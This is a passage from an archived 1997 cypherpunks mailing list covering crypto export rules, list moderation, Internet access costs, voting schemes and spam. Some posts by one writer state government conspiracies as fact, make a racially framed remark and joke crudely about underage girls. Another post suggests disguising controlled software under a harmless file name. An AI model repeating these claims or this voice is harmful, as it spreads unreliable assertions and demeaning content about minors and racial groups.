our-own-greed-and-incompetence-and-then-use-it-as-proof-for-need-
of-more-legislation-and-create-expenses-that-the-little-guys-can't-
handle 'trick', would it?

>      slow networks make toast of the free hours
>     and overtime kills.

  Look on the bright side. At least your old 286 will finally be 
worth some money when CompuServe and AOL decide to dump those
'fast' machines that are hurting their profit margin.

>         The Internet will no no longer be the peoples net, and the
>     commercial greedies are establishing a faster, more secure
>     network with controlled access points; leaving the common man's
>     access in the mud, still paying the exorbitant rates on a pay
>     before play basis.

  Any good rancher knows that in order to herd the cattle and the 
sheep, you have to get them moving first. And once they get used to
being herded into the 'feedlot', they stop paying attention and 
fail to notice when the 'feedlot' they get herded into happens to
be located conveniently next to a rendering plant.

>  That, and it gives control of information to
>     the government --which, as we all know. is 'heavenly white'
>     -above sin.

  Must be just a 'coincidence' that they are 'herding' all information
toward an entity spawned by the DOD and other government security
organizations--the "government 'behind' the government."
 
>         Universities are being bought off with the 'Internet II'
>     proposal which provides super trunks of over 600 Megabaud
>     capacity, a 400 times improvement. All of this feeds into five
>     stategically placed super-hubs where Uncle's shadow government can
>     monitor everything.

  Of course, the Universities' own communications will no doubt be fully
protected with Key Escrow Encryption.
 
>         The Internet was supposed to be our freedom: freedom of
>     information and government in the sunshine, but government is
>     proving it is still bigger, faster, and badder by using draconian
>     rules of illegal regulatory agencies. agencies which are usurping
>     rights limited to the legislative branch.

  I think that this statement shows a strong need for the academics and
intellectuals to discuss this issue, perhaps even write a 'paper' on it,
after giving it several years of close study, naturally.
  I, for one, would be more than willing to help them smuggle the
results
of their study out of the forced labor camp they find themselves in by
the time it is completed.

  Thanks for a thoughtful and insightful post on these issues. I am sure
that they will be seriously considered in a wide Circle of people who
are
not just composed of smart alecs with blanc minds. 

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:23 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: JUSTICE: foolish confrontations therewith
Message-ID: <199701230615.XAA06590@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        Looks to me like Carl needs to understand justice, U.S. federal 
    court style. In the first place: "ignorance is no excuse under the 
    law" -then: ask yourself why the U.S. continues the drug war when 
    it is obvious to the perverted, ignorant, and bought-off Congress- 
    person that it will never be won. the answer is simple: it's MONEY. 

        First, the government makes a fortune by importing drugs, which 
    they can use for unaccountable programs which are illegal under 
    law. The money is controlled by the CIA, administration, and the 
    power brokers in the deal which basically states it all; and, 
    secondly, there is money in imprisonment. Oh? so then ask yourself 
    why the federal prisons have tripled in size the last 10 years with 
    the dope wars.  coincidental?

        now, what does that have to do with crypto?  very simple: as 
    the US heads closer and closer to the UN Constitution under Bubba's 
    guidance with Hillary's hands on his balls, crypto can bypass 
    political thought control.  That will not be acceptable to those 
    who rule: in the US, or anywhere else.

        "Intimidation is just another form of communication."  (attila)

    and they have intimidated federal judges, and they are intimidating 
    federal judges, and they will continue to intimdate federal judges. 
    and, they will continue to feed the media what they want known.

        so, what does that have to do with it?

        a)  the federal government is disenfranchising felons with
            certain types of convictions, including drugs, and all
            offenses against the federal government --cryptography
            is an offense against the federal government since it
            falls under ITAR.

            do you know what disenfranchisement really means: well,
            start with fact you have lost your civil rights --ALL of 
            them. the man never needs a warrant to take you, anywhere. 
            anyplace, including your home without knocking --he has 
            automatic probable cause.

            all federal convictions of the type described carry a tail 
            --extended probation. in other words, a sadistic, sadonic, 
            and automatically suspicious federal civil servant OWNS 
            you. He can visit your employer; he can tell you exactly 
            how to run your business if you are self-employed; he can 
            tell you if you can move; he can tell you who you will see 
            or talk with; and if tells you to polish his apple, get on 
            your knees and smile while you labour. 

        b)  no vote --that is the principle meaning of franchise which 
            is defined as "suffrage."  you are history on that score 
            unless you manage to convince Bubba to grant you a federal 
            pardon.

        c)  the federal govenment, through one of their federal money 
            giveaways is forcing the criminal records onto the drivers' 
            license.  So far, no state has a check box on the sealed 
            photo ID, but they will, including a coded offense block.

        d)  now, the big credit bureaus, TRW, Equifax, etc. have added 
            the collection of data for traffic convictions; so far they 
            have not added either misdemeanor and felony >>arrests<< 
            and convictions to the _available_ information, but they 
            will.  Did you know that you can have a 3 or 4 page rap 
            sheet for a single arrest/offense/conviction by the time 
            they rewrite charges, which is common in, you guessed it: 
            dope cases, and propably will be in crypto cases as the 
            Federales discover more evidence (planted, decoded, 
            whatever?).

        e)  You know, I'm beginning to like Mississippi's statutory 
            rape laws better all the time.  The age is 18, as high it 
            goes in all 50 states --but it only applies if the minor 
            female is over 12 and can prove she is a virgin...  yeah, 
            right, where the only virgin over eight can run faster than 
            her brothers...

        e)  prisons are big business; and, government has undertaken a
            program of privatization of the prison system --in other 
            words, the big government oriented contractors, like SAIC 
            chaired by Bobby Inman, are planning to make a profit 
            housing government misjustice. do they like to make money?

            does this sound like slave labour to you? 

            sounds like government 'letting' of business. P.J. O'Rourke 
            has the definitive result of that:   
   
                "When buying and selling are controlled by legislation, 
                the first things to be bought and sold are legislators"  

        well, I'm too old for the civil disobedience game or deliberately begging the law; I do not wish to head for the 3 hots ad a cot of federal hospitality wearing more years than I can carry. 

        but you'd better believe and if you wish to even try to beat 
    the government back, don't think you have any rights in America.  Just remember Judge Roy Bean is sitting in his large $1,500-2,000 comforatable chair about a meter above you, smiling down on you as you sit in the hard, cold, flimsy chair of the dock, after our esteemed judge got drunk last night with his cronies.  

After all, Judge Roy, who's only human, suffers from an inferiority complex, and needs a power rush. And after this poor excuse for a human lays 3 fives running wild (15) and 6 tail on you, try smiling at the judge; then say: "thank you your honor, but you're just another fuckin' drunk." 

  == <attila out>

    ====== ORIGINAL MESSAGE ======

In <32C27B88.558@sk.sympatico.ca>, on 12/26/96 
   at 05:20 AM, Carl Johnson <toto@sk.sympatico.ca> said:

::jim bell wrote:
::> 
::> However, if being "on the Internet" is automatically presumed to be 
::> an export, why can't we program using remote-control editors which 
::> might, someday, be available on the Internet? 

::  If I wanted to export an unexportable program, I would put it on my 
::  machine as 'happyface.zip', and then make sure that everybody 
::  spread the word that it was available under that title.  I don't 
::  believe there is a prosecutor alive that can convince a jury of
::  twelve mostly non-technically oriented people that someone should 
::  be put in prison for not knowing the content of every single 
::  non-text file on their machine.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:30 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: seeds of our own destruction
Message-ID: <199701230615.XAA06640@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        the pieces of our own destruction by a universal government of 
    a few are all there, many fully documented as bits and pieces; 
    someone who does not have a well known interest in the conspiracy 
    groups to prevent the press from thundering "conspiracy theory" 
    needs to compile a graphical presentation for the monkeys. 

        good luck trying to deliver the message to joe couch potato. 
    the controlled media networks would never sell you time.

        It is not so much a conspiracy as it is separate, or even UN, 
    groups, working for their own interests --who has the stick?--  

        Unfortunately, too many of them have overlapped by their common 
    need for a common army, a common taxation system (obviously not 
    balanced by equity) and the right to non-representative taxation 
    after they destroy freedom of speech/privacy and take away the 
    hardware.  worse than middle period Marx utopian liberated 
    socialism!  

        The UN's _printed_ statement of the conclusion of the wealth 
    distribution was a UN tax authority to redistribute the 
    wealth.... 

        What intrigues me the most is that even the very rich can not
    survive in the cesspool they will create.  there will be no 
    distinguished caste, no educated caste, etc. You will see the 
    attitude with just barely educated type administrators who will say: 
    "gifted?" Or, she can fend for herself, and eventually just sending 
    the gifted child off to the vegatable farm.  

        Despite all the utopian talk about social order, politically 
    correct unisex, socialism will never deliver enough exceptional 
    individuals to be able to povide all the pyschologists and social 
    workers they envision.

        Obviously, the fact the white man is probably less than 15% of 
    the total population and has over 80% of the industrial wealth tells 
    you where it starts.  The UN is talking about master agricultual 
    product control warehousing and distribution.

        If 20% of the population is well fed, does that include the US, 
    Canada, Russia (that's a joke), and the grain producing areas of the 
    world?   or will the white man be just part of the rest --hungry?


  ==
    Tyranny Insurance by Colt Manufacturing Co.

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zcBo1zfXRCk=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:43:44 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Just another government fuckover: New crypto regulations
In-Reply-To: <199701230614.XAA06559@infowest.com>
Message-ID: <32E77595.387D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
 
>         free speech, which is what we are talking about. supposedly
>     absolute freedom of speech in America was in the Articles of
>     Confederation and was a major point of the Declaration of
>     Independence.  free speach was an "intention" of the Magna Carta.

> ::>     books are an intellectual 'solution' to the problem. the real
> ::>problem is the hardware. in order to negate governments and their
> ::>virtually stated intentions of blocking our inalienable freedoms,
> ::>particularly freedom of speach, we must be able to distribute
> ::>universal crypto worldwide, and be able to improve it as the shadow
> ::>governments of the various spook shows improve their ability to
> ::>break our code.

Dear Mr. Hun,
  I see that your post was expunged from the cypherpunks-politically-
correct-outgoing list.
  I am assuming that it was as a result of linking crypto to free
speech.
Perhaps you need to fall more into line with the New List Order.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:46:30 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: at least we have some friends...
Message-ID: <199701230646.XAA07790@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

+New encryption bill on way
+By Alex Lash	
+January 22, 1997, 8:45 p.m. PT
+see http://www.news.com/News/Item/0%2C4%2C7236%2C00.html?nd

+Sen. Conrad Burns (R-Montana) next week will reintroduce legislation 
+aimed at wiping out most Commerce Department restrictions on the 
+export of software encryption, his press secretary said today.

+The new version of the so-called Pro-Code bill, which died in the 
+Senate Commerce Committee last year after a series of high-profile 
+hearings, will be unchanged and should have the same support it 
+gained in the 1996 session, Burns's press secretary Matt Raymond said.
+"The language was not something that was arrived at lightly," Raymond 
+said. "We should have time for a more robust and considerate debate" 
+compared with last year's unsuccessful rush to get the bill passed, 
+he added.

+Burns, a leading figure on the Senate Commerce Committee, is set to 
+appear via satellite Tuesday at the RSA Data Security Conference in 
+San Francisco to announce the bill's reintroduction.

+Foes of the Clinton administration's current encryption regulations, 
+which became effective on January 1, are looking for Congress to 
+legislate more liberal export guildelines. Last year, the Pro-Code 
+bill won the support of many key members of Congress  who remain in 
+office and want to modify Clinton's encryption plan.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: davesbox@smtp.miraclestar.com
Date: Wed, 22 Jan 1997 22:54:52 -0800 (PST)
Subject: Do You Want to Make Money On-Line?
Message-ID: <199701230650.GAA22450@medina.ohio.net>
MIME-Version: 1.0
Content-Type: text/plain


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us to determine in our opinion if you are right for our opportunity, and if
our opportunity is right for you. We spend a great deal of time with all
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----------------------------------------------------------------------------
Thank you for your interest.
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:43:50 -0800 (PST)
To: dthorn@gte.net
Subject: Dale / Re: Your Subscription To The CypherPunks List
In-Reply-To: <199701230633.AAA00525@manifold.algebra.com>
Message-ID: <32E7831E.19B2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale,

  This message is to inform you that I have taken over the cypherpunks 
list and will henceforth act as moderator, thus ensuring that only
messages regarding "How To Make Big $$$ Licking Your Own Balls" 
will be posted to the list.
  However, out of the goodness of my heart, I will beneficently allow
you to receive the expunged posts on another list.

  Just send an email to:
 "ifyoudon'tlikeit,thenlumpit--it'sMYlist@toad.com"
with a message body saying,
 "I'm still a Punk, and I don't think the music's too loud,
you old fart."

Toto
"My name isn't Richard, but I'm still a Dick."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 23 Jan 1997 04:35:03 -0800 (PST)
To: cme@cybercash.com (Carl Ellison)
Subject: Re: P.S. David Kahn's editorial today
In-Reply-To: <199701230510.VAA04818@toad.com>
Message-ID: <199701231230.HAA05864@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Carl Ellison wrote:

| I just sent the following P.S. to newsday.com
| 			----------------------
| 
| If I use an AT&T Clipper-style cellular phone, as David suggested, and I
| call you on a normal wired phone, we can't encrypt the conversation and it
| is vulnerable to interception.  The protection works *only* if both parties
| have encrypting phones while interoperate.

	Its worth thinking about multiple layers of protection for a
datastream.  The end to end encryption issue is seperate from the
issue of mobile to base encryption (and mobile to base authentication,
for that matter.)  Compute power is getting cheap enough that doing
both seems roughly feasable to me.

	Multiple protective layers is also nice in an environment
where theres policy checking going on, ie, a firewall.  SSL only gets
plugged through a firewall because it can't be partially unwrapped.  I
can't proxy in any meaningful sense.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 23 Jan 1997 07:33:24 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701231347.HAA04161@smoke.suba.com>
Message-ID: <32E78482.5DF6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Thorn:
> > Alec wrote:
> > The idea that "sin" and "evil" are abstract and somewhat arbitrary is
> > merely a human (and therefore faulty) perception.
> > If God can be perfect by definition (for sake of argument), then "sin"

> Somewhere in the above three lines, someone is making a hell of an
> asumption. See also "The Euthphro Question", plato.

Humans do OK with simple issues, example: 1 + 1 = 2.  Especially true
if the issue has no inherent moral/ethical tie-in.  Once you get past
the simple, however, you start seeing motivation, personal imperative,
etc., which leads to hidden agendas and lies.  When I speak of God,
I'm not surrendering any personal power, or subscribing to your God
concept necessarily (e.g. Plato), I'm just defining an object of
pure reason that is free of human self-interest, for sake of argument.

> > A gentleman wrote to Southern Partisan magazine a few years ago and
> > said "Real freedom is not the license to do whatever you want, but
> > rather the liberty to do what you ought to do".

> No, real freedom is being able to decide for yourself what you ought to
> do--or--who the hell decides what I ought to do?

My example shows that real freedom goes hand-in-hand with
responsibility.
A person could interpret my example in a way that "what you ought to do"
is defined and controlled by external parties, but that was not my point
or the point of the original author.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 05:30:14 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701220555.VAA18997@toad.com>
Message-ID: <199701231347.HAA04161@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Thorn:
> Alec wrote:
> The idea that "sin" and "evil" are abstract and somewhat arbitrary is
> merely a human (and therefore faulty) perception.
> If God can be perfect by definition (for sake of argument), then "sin"

     Somewhere in the above three lines, someone is making a hell of an
asumption. See also "The Euthphro Question", plato.

> A gentleman wrote to Southern Partisan magazine a few years ago and
> said "Real freedom is not the license to do whatever you want, but
> rather the liberty to do what you ought to do".

     No, real freedom is being able to decide for yourself what you ought to
do--or--who the hell decides what I ought to do?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 05:32:35 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Encrypting ZIP drives?
In-Reply-To: <199701220555.VAA18973@toad.com>
Message-ID: <199701231349.HAA04173@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I am looking for a transparent (strong) encryption of ZIP drives. Any advice would be appreciated.
> 
     For which OS, and SCSI or Parallel version?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 23 Jan 1997 09:30:21 -0800 (PST)
To: "'Attila T. Hun'" <attila@primenet.com>
Subject: RE: greed and the internet
Message-ID: <01BC0920.893533E0@s25-pm01.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Will you send some references for Internet II and the government hubs?
	Thx, Internaut

----------
From: 	Attila T. Hun[SMTP:attila@primenet.com]
Sent: 	Wednesday, January 22, 1997 08.32 PM
To: 	cypherpunks
Subject: 	greed and the internet

-----BEGIN PGP SIGNED MESSAGE-----

    greed and the internet

        our network provider (MCI) has been gradually burying our T1 
    trunk and the effective feed has been reduced to 1200 baud from 
    1.56 Megabaud; that, and add 20 seconds to 5+ minutes of packet 
    hold, and it is now worthless. they claim they will have increased
    capacity, but there are no pressing big money commercial interests
    on this feeder --so when?  

        Problem is not just here --everywhere; the greedy commercial 
    bastards have oversold their network space intentionally as they 
    are bucking for per packet and timed usage charges which are 
    currently prohibited by the FCC and the state PUCs. The FCC is the 
    key since other than the local network, which is burdened with the 
    costs of the trunk, everything is regulated by the FCC which is 
    trying to totally eliminate the state PUCs in the 105th Congress,     
    Newt's mouth not withstanding.

        The FCC agreed to review the matter, capitulating to 
    big greed interests, which will make the Internet a rich man's 
    toy. $19.95/month plus access charges will increase to thousands 
    of dollars per month; slow networks make toast of the free hours 
    and overtime kills.  Without the creative input of the multitude, 
    there will be no content, so why have a net other than for 
    commercial purposes? suites the misinformation cabal just fine.

	Well, the FCC granted a reprieve --for the moment. but will
    come up again, and again, until it passes.

        The Internet will no no longer be the peoples net, and the 
    commercial greedies are establishing a faster, more secure 
    network with controlled access points; leaving the common man's 
    access in the mud, still paying the exorbitant rates on a pay 
    before play basis.  That, and it gives control of information to 
    the government --which, as we all know. is 'heavenly white' 
    -above sin.

        Universities are being bought off with the 'Internet II' 
    proposal which provides super trunks of over 600 Megabaud 
    capacity, a 400 times improvement. All of this feeds into five 
    stategically placed super-hubs where Uncle's shadow government can 
    monitor everything.

        The Internet was supposed to be our freedom: freedom of 
    information and government in the sunshine, but government is 
    proving it is still bigger, faster, and badder by using draconian 
    rules of illegal regulatory agencies. agencies which are usurping 
    rights limited to the legislative branch.


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Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 23 Jan 1997 08:37:48 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: [Noise] From The Onion
Message-ID: <199701231634.LAA07092@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



SATAN TO REVISE BAR CODE SYSTEM 

NEW YORK--Responding to retailers' calls to "streamline the Mark of
the Beast," Satan announced plans Monday to make significant changes
in the UPC symbol by the end of the millenium.  "All men, small and
great, rich and poor, slave and free, shall bear the mark of the
beast," Satan said. The mark, "666," now hidden in every UPC symbol,
may be more effective if taken off products and burned directly onto
consumers' foreheads or hands, according to The Father of Lies. Said
National Reserve Board Chairman Alan Greenspan: "As foretold in the
Book of Revelations, it shall come to pass that no man shall be able
to buy or sell without the Mark of the Beast." The new bar code system
will be introduced through a series of televised public-service
announcements featuring Friends star Matthew Perry and Satan, who will
appear as a beast with seven heads and ten horns.

http://www.theonion.com/onion3102/index3102.html


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <response@quantcom.com>
Date: Thu, 23 Jan 1997 10:16:12 -0800 (PST)
To: "cwozniak@aol.com>
Subject: Add To Your Monthly Income!!
Message-ID: <199701231702.MAA00757@slade.cvcom.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 23 Jan 1997 10:34:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Dimitri??
Message-ID: <199701231237.MAA10676@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


I have noticed that there has not been any post from Dimitri in a couple of
days.

I am assuming that this means that the list moderation has now started?

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.

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Version: 2.6.2

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=hIV+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 23 Jan 1997 12:53:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <199701232053.MAA26190@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:20 PM 1/23/97 +1100, proff@suburbia.net wrote:
...
>The catch is that positive votes are inherently more valuable than
>negative votes, since to obstruct progress requires a number of votes
>equal to the outstanding proposals, but to move forward a proposal only
>requires a number of votes equal to the proposal.  Blind obstructionism
>(and blind advocacy) are uneconomical.  That's the point of having
>more than one vote to potentially spend on an issue, with potentially
>more issues than you can vote on all of them.  You will have to pick
>you battles carefully if you want to avoid being lost in the noise.
>
Here you risk the media controlling the vote even better.  First they push a
tearjerker proposal early in the year to swallow up all of the votes, then
they ask for special interest legislation to protect their respective
monopolies on grounds of ecology, (one paper means more trees, one TV
station means clearer communication, etc.)


...
>For reciprocity, it's possible to charge off percentages in the
>win/lose case to bias the power concentration: if your side wins, it
>costs you one less token then you voted, etc..  Again, initial
>bylaws are established through constitution provision: "we have the
>power that is being shared, therefore, these are the weights".
>
...
This prompts people to vote with who they think will win as opposed to how
they feel.  In this case the media shows numerous charts showing a pending
landslide in thier favor.  What do you know, everyone voted in favor of the
media just to recycle votes.

...
>Heh.  I was thinking more in terms of its value as a cascade trigger
>to increasingly complex social organisms in the Internet implementation
>space.  Representational democracies (republics, really) came about
>because of rate limits on communication.  The US could not elect a
>president by popular vote because there were no methods of verification,
>and communication rates were limited by travel time.  Therefore, the
>US has an Electoral College.  But a side effect of this structure is
>a bias for bipartite seperation of interests, instead of seperation
>into as many interest groups as it takes to do the job of mapping the
>interest space.  This bias is not removed because the bipartite
>interests have (and must continue to have) the power concentration.
>This leads to continued "wasted vote syndrome", where people vote
>for the lesser of two evils instead of voting their conscience... an
>effect of mass psychology.  Similar pressures prevent the polling
>times from being changed to opening at 8am EST and closing at 8am EST
>to prevent early returns from earlier time zones influencing the
>outcome of elections before people in later time zones have even voted.
>For example, Ross Perot got almost 20% of the vote in the 1992
>election, but 0% of the electors.  He would still have lost, given
>the actual values.  There is actually a case in US history where the
>winner of the electoral vote lost the popular vote... the president
>was not chosen by the people, but by the electors.
...

Actually, our founding fathers thought that the people were morons, a
reasonable assumption since news carried so slowly and most people were more
worried about how to survive the winter than how to read.

...

>Yep.  The reason I went weighted, by the way, was the volunteer
>nature of the project.  In theory, number of vote tokens spent
>should be proportional to willingness to actually volunteer.  As
>you point out, there could be feedback here as well: for instance,
>if a proposal passes, if it is completed, the tokens spent on
>the vote could be refunded to those who voted for it.  If it dies
>on the vine, the tokens could be refunded to those who voted
>against it.  Being right would give you more license to participate,
>and being wrong would not, etc..  Again, a matter for the initial
>bylaws.
...

Not being right, just agreeing with the concensus.  Remember that most of
the Germans eventually agreed with Hitler, that did not make them right.

By the way, the general populus is still mostly morons.  Even with a higher
literacy rate.  Most of them seem to use it to read the National Enquirer
and Hollywood based publications.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 23 Jan 1997 13:12:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: greed and the internet
In-Reply-To: <199701231801.KAA21582@toad.com>
Message-ID: <32E7D3A3.4B2E@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Internaut wrote:
> 
> Will you send some references for Internet II and the government hubs?

There is a www.internet2.edu

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Thu, 23 Jan 1997 13:07:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Dimitri??
Message-ID: <199701232106.OAA27627@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:

>I have noticed that there has not been any post from Dimitri in a couple of
>days.

Yup. Ditto Tim May.  Fair trade?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <response@quantcom.com>
Date: Thu, 23 Jan 1997 14:38:08 -0800 (PST)
To: "cwozniak@aol.com>
Subject: A Remarkable Income Opportunity!!
Message-ID: <199701232122.QAA01742@slade.cvcom.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Marr <Achieve1@ix.netcom.com>
Date: Thu, 23 Jan 1997 17:15:52 -0800 (PST)
To: (Recipient list suppressed)
Subject: Double Your Downline & Triple Your Income With 200 FREE MLM  LEADS A Month !!
Message-ID: <1.5.4.16.19970123184501.080f3d8a@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



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pocket.  You'll be glad you did and so will your down line!

To Your MLM Success,


Scott Marr


P.S.  If I receive your request before the month ends, I will include an
additional report
containing valuable tips on how to improve the response rates of your direct
mail and display
advertising.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: abostick@netcom.com (Alan Bostick)
Date: Thu, 23 Jan 1997 17:18:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: THE NEW YORKER on the V-Chip
Message-ID: <BkA6y8m9LESK085yn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
Malcolm Gladwell, makes a powerful arguement about the unintended
consequences of the V-Chip, the programmable device to be included in
next-generation television sets sold in the US that supposedly will
allow parents to control their children's access to sex and violence on
TV.

Gladwell makes an analogy between V-Chipped TV content and
air-conditioned cars in the New York City subway system in summertime:
" . . . we need air-conditioners on subway cars because air-conditioners
on subway cars have made stations so hot that subway cars need to be
air-conditioned."  Similarly, he argues, "the V-chip is likely to
increase the amount of sex and violence on television, not decrease it"
because when viewers can block offensive programming, there is far less
pressure on broadcasters and cable operators to avoid offending.

This is just the sort of thing that John Young is given to scanning and
putting up on his Web site or sending out to people who send him email
with FUN_nie subject lines.  If I were him, I'd put it up.

And, for the benefit of those people who don't think the V-Chip isn't in
itself on-topic for cypherpunks, I might point out that Gladwell's
argument applies equally well to mail filtering with procmail recipes --
or Sandy's and John's list moderation experiment.  If the noise level on
the unmoderated list jumps to even higher than we were seeing before
the moderation began, that would provide observational support to
Gladwell's argument.

-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance. 
news:alt.grelb             |      Jean Genet 
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: grupo textil glz ruelas <camiseta@telnor.net>
Date: Thu, 23 Jan 1997 17:12:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: about the e-mails that im recibing
Message-ID: <199701240109.RAA08232@telnor.net>
MIME-Version: 1.0
Content-Type: text/plain


                Dir, cypher im recibing all your e-mails and i was wondering
                if you can do something abuot becouse to me all of this is 
                pure yonk.
                so please do something and stop the e-mails 

                im not a cypherpunk and i dont understan nothing you write ok

                see you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Wed, 22 Jan 1997 22:21:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <19970123062054.6233.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


>From terry@lambert.org Thu Jan 23 00:20:21 1997
Return-Path: <terry@lambert.org>
Delivered-To: proff@suburbia.net
Received: (qmail 11676 invoked from network); 23 Jan 1997 00:20:09 -0000
Received: from phaeton.artisoft.com (198.17.250.211)
  by suburbia.net with SMTP; 23 Jan 1997 00:20:09 -0000
Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA22488; Wed, 22 Jan 1997 17:04:17 -0700
From: Terry Lambert <terry@lambert.org>
Message-Id: <199701230004.RAA22488@phaeton.artisoft.com>
Subject: Re: Commerical applications (was: Development and validation
To: proff@suburbia.net
Date: Wed, 22 Jan 1997 17:04:17 -0700 (MST)
Cc: nate@mt.sri.com, terry@lambert.org, chuckr@glue.umd.edu,
        hackers@freebsd.org
In-Reply-To: <19970122141820.16633.qmail@suburbia.net> from "proff@suburbia.net" at Jan 23, 97 01:18:20 am
X-Mailer: ELM [version 2.4 PL24]
Content-Length:  6273

> > Terry Lambert writes:
> > > > > A weighted democracy would be one open-ended growth solution, as
> > > > > long as parametric changes could be made within the system.  I have
> > > > > suggested this before.  A trivial napkin drawing version:
> > > > 
> 
> I have doubts about such a system. How are the weights chosen?

By core team fiat.  It is they who will be giving up power, it is they
who have the power to enforce initial disbursement.  After that, it
*should* be metastable.  If it isn't, it can be reigned in.

> 	- Should all weights be votable - dynamically adjusted according
> 	  to votes * current weights?

This one: yes.

> 	- Which is more stable? w1+w2+w3+w4=1 or w1*w2*w3*w4*w5=1?

+, if we are talking probabilities applied to strange attractors.

> 	- How a new weights created?

Constitutionally, there must be a method for doing this within the
system.  Mostly, the weight values are the time rate accumulation vs.
